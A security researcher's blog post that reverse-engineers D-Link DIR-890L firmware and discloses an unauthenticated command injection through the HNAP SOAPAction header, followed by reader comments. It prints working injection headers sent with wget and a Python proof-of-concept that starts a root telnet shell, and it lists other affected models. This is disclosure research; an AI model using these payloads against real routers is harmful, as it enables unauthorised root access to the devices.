Hacking the D-Link DIR-890L

The past 6 months have been incredibly busy, and I haven’t been keeping up with D-Link’s latest shenanigans. In need of some entertainment, I went to their web page today and was greeted by this atrocity:

D-Link's $300 DIR-890L router

D-Link’s $300 DIR-890L router

I think the most “insane” thing about this router is that it’s running the same buggy firmware that D-Link has been cramming in their routers for years…and the hits just keep on coming.

OK, let’s do the usual: grab the latest firmware release, binwalk it and see what we’ve got:

0             0x0             DLOB firmware header, boot partition: "dev=/dev/mtdblock/7"
116           0x74            LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4905376 bytes
1835124       0x1C0074        PackImg section delimiter tag, little endian size: 6345472 bytes; big endian size: 13852672 bytes
1835156       0x1C0094        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 13852268 bytes, 2566 inodes, blocksize: 131072 bytes, created: 2015-02-11 09:18:37

Looks like a pretty standard Linux firmware image, and if you’ve looked at any D-Link firmware over the past few years, you’ll probably recognize the root directory structure:

$ ls squashfs-root
bin  dev  etc  home  htdocs  include  lib  mnt  mydlink  proc  sbin  sys  tmp  usr  var  www

All of the HTTP/UPnP/HNAP stuff is located under the htdocs directory. The most interesting file here is htdocs/cgibin, an ARM ELF binary which is executed by the web server for, well, just about everything: all CGI, UPnP, and HNAP related URLs are symlinked to this one binary:

$ ls -l htdocs/web/*.cgi
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/captcha.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/conntrack.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlapn.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlcfg.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dldongle.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwup.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwupload.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/hedwig.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/pigwidgeon.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/seama.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/service.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication_logout.cgi -> /htdocs/cgibin

It’s been stripped of course, but there are plenty of strings to help us out. The first thing that main does is compare argv[0] against all known symlink names (captcha.cgi, conntrack.cgi, etc) to decide which action it is supposed to take:

"Staircase" code graph, typical of  if-else statements

“Staircase” code graph, typical of if-else statements

Each of these comparisons are strcmp‘s against the expected symlink names:

Function handlers for various symlinks

Function handlers for various symlinks

This makes it easy to correlate each function handler to its respective symlink name and re-name the functions appropriately:

Renamed symlink function handlers

Renamed symlink function handlers

Now that we’ve got some of the high-level functions identified, let’s start bug hunting. Other D-Link devices running essentially the same firmware have previously been exploited through both their HTTP and UPnP interfaces. However, the HNAP interface, which is handled by the hnap_main function in cgibin, seems to have been mostly overlooked.

HNAP (Home Network Administration Protocol) is a SOAP-based protocol, similar to UPnP, that is commonly used by D-Link’s “EZ” setup utilities to initially configure the router. Unlike UPnP however, all HNAP actions, with the exception of GetDeviceInfo (which is basically useless), require HTTP Basic authentication:

Authorization: Basic YWMEHZY+
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://purenetworks.com/HNAP1/AddPortMapping"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <AddPortMapping xmlns="http://purenetworks.com/HNAP1/">

The SOAPAction header is of particular importance in an HNAP request, because it specifies which HNAP action should be taken (AddPortMapping in the above example).

Since cgibin is executed as a CGI by the web server, hnap_main accesses HNAP request data, such as the SOAPAction header, via environment variables:

SOAPAction = getenv("HTTP_SOAPACTION");

SOAPAction = getenv(“HTTP_SOAPACTION”);

Towards the end of hnap_main, there is a shell command being built dynamically with sprintf; this command is then executed via system:

sprintf(command, "sh %s%s.sh > /dev/console", "/var/run/", SOAPAction);

sprintf(command, “sh %s%s.sh > /dev/console”, “/var/run/”, SOAPAction);

Clearly, hnap_main is using data from the SOAPAction header as part of the system command! This is a promising command injection bug, if the contents of the SOAPAction header aren’t being sanitized, and if we can get into this code block without authentication.

Going back to the beginning of hnap_main, one of the first checks it does is to see if the SOAPAction header is equal to the string http://purenetworks.com/HNAP1/GetDeviceSettings; if so, then it skips the authentication check. This is expected, as we’ve already established that the GetDeviceSettings action does not require authentication:

if(strstr(SOAPAction, "http://purenetworks.com/HNAP1/GetDeviceSettings") != NULL)

if(strstr(SOAPAction, “http://purenetworks.com/HNAP1/GetDeviceSettings”) != NULL)

However, note that strstr is used for this check, which only indicates that the SOAPAction header contains the http://purenetworks.com/HNAP1/GetDeviceSettings string, not that the header equals that string.

So, if the SOAPAction header contains the string http://purenetworks.com/HNAP1/GetDeviceSettings, the code then proceeds to parse the action name (e.g., GetDeviceSettings) out of the header and remove any trailing double-quotes:

SOAPAction = strrchr(SOAPAction, '/');

SOAPAction = strrchr(SOAPAction, ‘/’);

It is the action name (e.g., GetDeviceSettings), parsed out of the header by the above code, that is sprintf‘d into the command string executed by system.

Here’s the code in C, to help highlight the flaw in the above logic:

/* Grab a pointer to the SOAPAction header */
SOAPAction = getenv("HTTP_SOAPACTION");

/* Skip authentication if the SOAPAction header contains "http://purenetworks.com/HNAP1/GetDeviceSettings" */
if(strstr(SOAPAction, "http://purenetworks.com/HNAP1/GetDeviceSettings") == NULL)
    /* do auth check */

/* Do a reverse search for the last forward slash in the SOAPAction header */
SOAPAction = strrchr(SOAPAction, '/');
if(SOAPAction != NULL)
    /* Point the SOAPAction pointer one byte beyond the last forward slash */
    SOAPAction += 1;

    /* Get rid of any trailing double quotes */
    if(SOAPAction[strlen(SOAPAction)-1] == '"')
        SOAPAction[strlen(SOAPAction)-1] = '\0';
    goto failure_condition;

/* Build the command using the specified SOAPAction string and execute it */
sprintf(command, "sh %s%s.sh > /dev/console", "/var/run/", SOAPAction);

The two important take-aways from this are:

  1. There is no authentication check if the SOAPAction header contains the string http://purenetworks.com/HNAP1/GetDeviceSettings
  2. The string passed to sprintf (and ultimately system) is everything after the last forward slash in the SOAPAction header

Thus, we can easily format a SOAPAction header that both satisfies the “no auth” check, and allows us to pass an arbitrary string to system:

SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`reboot`"

The http://purenetworks.com/HNAP1/GetDeviceSettings portion of the header satisfies the “no auth” check, while the `reboot` string ends up getting passed to system:

system("sh /var/run/`reboot`.sh > /dev/console");

Replacing reboot with telnetd spawns a telnet server that provides an unauthenticated root shell:

$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`telnetd`"'
$ telnet
Connected to
Escape character is '^]'.

BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.


If remote administration is enabled, HNAP requests are honored from the WAN, making remote exploitation possible. Of course, the router’s firewall will block any incoming telnet connections from the WAN; a simple solution is to kill off the HTTP server and spawn your telnet server on whatever port the HTTP server was bound to:

$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`killall httpd; telnetd -p 8080`"'
$ telnet 8080
Connected to
Escape character is '^]'.

BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.


Note that the wget requests will hang, since cgibin is essentially waiting for telnetd to return. A little Python PoC makes the exploit less awkward:

#!/usr/bin/env python

import sys
import urllib2
import httplib

    ip_port = sys.argv[1].split(':')
    ip = ip_port[0]

    if len(ip_port) == 2:
        port = ip_port[1]
    elif len(ip_port) == 1:
        port = "80"
        raise IndexError
except IndexError:
    print "Usage: %s <target ip:port>" % sys.argv[0]

url = "http://%s:%s/HNAP1" % (ip, port)
# NOTE: If exploiting from the LAN, telnetd can be started on
#       any port; killing the http server and re-using its port
#       is not necessary.
#       Killing off all hung hnap processes ensures that we can
#       re-start httpd later.
command = "killall httpd; killall hnap; telnetd -p %s" % port
headers = {
            "SOAPAction"    : '"http://purenetworks.com/HNAP1/GetDeviceSettings/`%s`"' % command,

req = urllib2.Request(url, None, headers)
    raise Exception("Unexpected response")
except httplib.BadStatusLine:
    print "Exploit sent, try telnetting to %s:%s!" % (ip, port)
    print "To dump all system settings, run (no quotes): 'xmldbc -d /var/config.xml; cat /var/config.xml'"
except Exception:
    print "Received an unexpected response from the server; exploit probably failed. :("

I’ve tested both the v1.00 and v1.03 firmware (v1.03 being the latest at the time of this writing), and both are vulnerable. But, as is true with most embedded vulnerabilities, this code has snuck its way into other devices as well.

Analyzing “all the firmwares” is tedious, so I handed this bug over to our Centrifuge team at work, who have a great automated analysis system for this sort of thing. Centrifuge found that at least the following devices are also vulnerable:

  • DAP-1522 revB
  • DAP-1650 revB
  • DIR-880L
  • DIR-865L
  • DIR-860L revA
  • DIR-860L revB
  • DIR-815 revB
  • DIR-300 revB
  • DIR-600 revB
  • DIR-645
  • TEW-751DR
  • TEW-733GR

AFAIK, there is no way to disable HNAP on any of these devices.


Looks like this same bug was found earlier this year by Samuel Huntly, but only reported and patched for the DIR-645. The patch looks pretty shitty though, so expect a follow-up post soon.

Bookmark the permalink.

40 Responses to Hacking the D-Link DIR-890L

  1. Kenan says:

    very good work, thanks

  2. Shahar Tal says:

    Good find!
    Just adding to the D-Link story here –
    Of course, D-Link also have several models found to be vulnerable to Misfortune Cookie (CVE-2014-9222) in our research (http://mis.fortunecook.ie) due to the inclusion of the Ralink/MTK chipset.
    All vendors we contacted responded eventually, except for D-Link :\

  3. Ryan Lopez says:

    Great write up! Very cleanly written and easy to follow.

  4. Jochen Hoenicke says:

    Nice reverse engineering work.

    I have a DIR-645 myself and I am not surprised. I found the first security problem with my router before I managed to successfully log in. I set a 16 character admin password which was not accepted when I tried to log in. I could log in as user (without any password) which allowed me to read the configuration including the admin password (which was cropped to 15 characters). Okay I had to right click on the password field and choose “Inspect Element” to see the password, so this probably makes me an advanced hacker in their eyes.

    These shell escape problems seem to be everywhere in their code (a handful of them have already been fixed). I gave up updating the firmware and I hope that not making the device externally visible and putting it at a non-standard ip, so that malicious javascript code running on my local computer does not find it, is good enough.

  5. Kristopher Ives says:

    Great post as usual. Keep up the good work for /r/netsec

  6. Andron Mc says:

    Why do those pathetic morons from D-Link still keep trying?
    They could just give 10 devices to DD-WRT, make a contract, and ship all the new routers with DD-WRT!

  7. Pingback: Infosec Researchers Hacking New Routers | Oversite Sentry

  8. Pingback: Hacking the D-Link DIR-890L – /dev/ttyS0 | whitehatnews.com

  9. Pingback: What the Ridiculous Fuck, D-Link?! - /dev/ttyS0

  10. Samy says:

    this reminds me of an old privilege escalation exploit from 2010 published by soursec.
    i quote the pdf from their PoC:

    “When the router sees that the requested SOAPAction is GetDeviceSettings it forgoes the normal
    authentication requirements, however, it will execute whatever SOAP action is specified in the body of
    the SOAP request, even if that action does not match the action specified in the SOAPAction header.”

    seems like 5 years later they didn’t learn anything.

  11. Pingback: D-Link Fails at Strings | Hackaday

  12. Pingback: D-Link Fails at Strings - zeax blog (ze-ax.com)

  13. Pingback: D-Link Fails at Strings | Hack The Planet

  14. Pingback: D-Link Fails at Strings | MyWebspace

  15. Pingback: D-Link Fails at Strings | 0-HACK

  16. Pingback: .:[ d4 n3wS ]:. » Hack du routeur D-Link DIR-890L

  17. Pingback: Sicherheitsalarm: D-Link-Patch ergänzt Sicherheitslücken durch neue Lücke | Newswire Basic-One

  18. Pingback: D-Link router patch creates NEW SOHOpeless vuln | TechDiem.com

  19. Pingback: ste williams – D-Link router patch creates NEW SOHOpeless vuln

  20. Pingback: D-Link Failed to Patch HNAP Flaws in Routers: Researcher | Security news

    • Craig says:

      Yeah, I saw that too. It could be that “Zhang Wei” reported it to D-Link before I published it, or that he reported my blog post to D-Link and they attributed it to him. I suspect the former, but it’s funny that D-Link put out a security advisory on the same day that I published the bug. 🙂

  21. Pingback: D-Link’s failed patch for DIR-890L router adds a new hole | Security news

  22. Pingback: D-Link's failed patch for DIR-890L router adds a new hole | The Cyber Security Place

  23. zhu says:

    Thank U so much!

  24. Pingback: D-Link router user? Keep your ears and eyes open for the next firmware fixes! | Prague City Magazine / Living | the ins and outs of living in prague, czech republic

  25. Ahmed says:

    At home, my preferences run to Asus and Netgear, which I find useful and powerful.

    Is there no way to shut down this “HNAP” and simply sit in front of the router, otherwise locking it out from any remote administration?

  26. Pingback: ste williams – D-Link router user? Keep your ears and eyes open for the next firmware fixes!

  27. qemuser says:


    thanks for your great explainations.
    I was trying to run cgibin in a qemu emulator to see if I could send a request. I am not sure whether that is even possible without emulating larger parts of the system.

    When running
    sudo chroot . ./qemu-arm-static -strace htdocs/cgibin
    (with the libraries copied in place) I get some library includes, the request for the current time, but finally
    write(1,0x40881648,32)CGI.BIN, unknown command cgibin
    = 32
    10889 exit(1)

    Did you actually have access to this router model or emulated it, too?

  28. I have to say that most of the standard router software is vulnerable this days. Thats why Im using linksys with custom firmware 😉

  29. CMFan says:

    Hey Craig,
    Great work! here is CMFan again. I download one ARM simulate system from the link you gave me before for MIPS, and copy the rootfs of the firmware to the system. Then I tried to run httpd on the target using /sbin/httpd. However it didn’t give my any error and doesn’t listen on 80 either. Did you simulate the box whole? if so how did you do that? or if I got the httpd command line wrong?

    Thanks a lot!

  30. Pingback: Backdoor i parę “ciekawostek” w serii routerów D-Link DWR | Kamil Frankowicz

  31. Pingback: D-Link DAP-1520 hacking: Part 1 | «WatchMySys» Blog